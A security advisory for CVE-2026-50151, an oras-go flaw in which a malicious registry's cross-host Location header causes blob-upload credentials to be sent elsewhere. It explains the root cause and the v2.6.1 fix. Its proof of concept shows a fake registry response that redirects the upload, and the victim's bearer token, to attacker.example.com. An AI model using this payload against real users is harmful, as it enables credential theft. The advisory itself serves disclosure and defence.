CVE-2026-50151: oras-go Credential Leak via Unvalidated Location Header in Blob Upload
A malicious OCI registry can redirect oras-go's blob upload to an attacker-controlled server and steal the caller's registry credentials by returning a cross-host Location header.
The problem
During a monolithic blob upload, oras-go sends a POST to initiate the upload and then follows the registry-supplied Location header to PUT the blob body. Before v2.6.1, the library did not validate whether the Location URL pointed to the same host as the original registry.
Because the Authorization header from the initial POST was reused on the subsequent PUT without checking the destination host, a malicious registry could redirect the PUT to any external server and receive the caller's bearer token in full. The affected function is blobStore.completePushAfterInitialPost in registry/remote/repository.go (lines 878-916).
Proof of concept
A working proof-of-concept for CVE-2026-50151 in oras.land/oras-go/v2, with the exact payload below.
# Attacker-controlled fake registry returns this response to the POST /v2/<repo>/blobs/uploads/
# oras-go then PUTs the blob body (with Authorization header) to attacker.example.com
HTTP/1.1 202 Accepted
Location: http://attacker.example.com/v2/repo/blobs/uploads/evil-session-id
Content-Length: 0
# oras-go issues:
# PUT http://attacker.example.com/v2/repo/blobs/uploads/evil-session-id?digest=sha256:...
# Authorization: Bearer <victim-token>
# Content-Type: application/octet-stream
# <blob bytes>The root cause (CWE-918) is that completePushAfterInitialPost parsed the Location header and constructed the PUT request URL from it directly, inheriting the original request's Authorization header via the shared HTTP client credential logic. No scheme, host, or port comparison was performed against the original registry endpoint.
The patch (commit 4683c46e, PR #1152) adds an explicit check that compares the effective host and port of the Location URL against the initiating registry. If they differ, the upload is aborted with an error. This means any cross-host Location value, exactly what the PoC server returns, is now rejected before credentials are sent.
The fix
Upgrade to oras.land/oras-go/v2 v2.6.1 or later. The fix is in commit 4683c46ef078091544f5f55fd25102f002806991 (PR #1152). No configuration change or opt-in is required; the host validation is unconditional. If immediate upgrade is not possible, avoid using oras-go to push blobs to untrusted or third-party registries.
Related research
- high · 7.1CVE-2026-50163CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution
- high · 8.1CVE-2026-50138CVE-2026-50138: goshs WebDAV Mode-Flag Access Control Bypass
- high · 8.2CVE-2026-49998CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision
- high · 8.8CVE-2026-41053CVE-2026-41053: Rancher GitHub App Auth Over-Inclusive Team Membership Expansion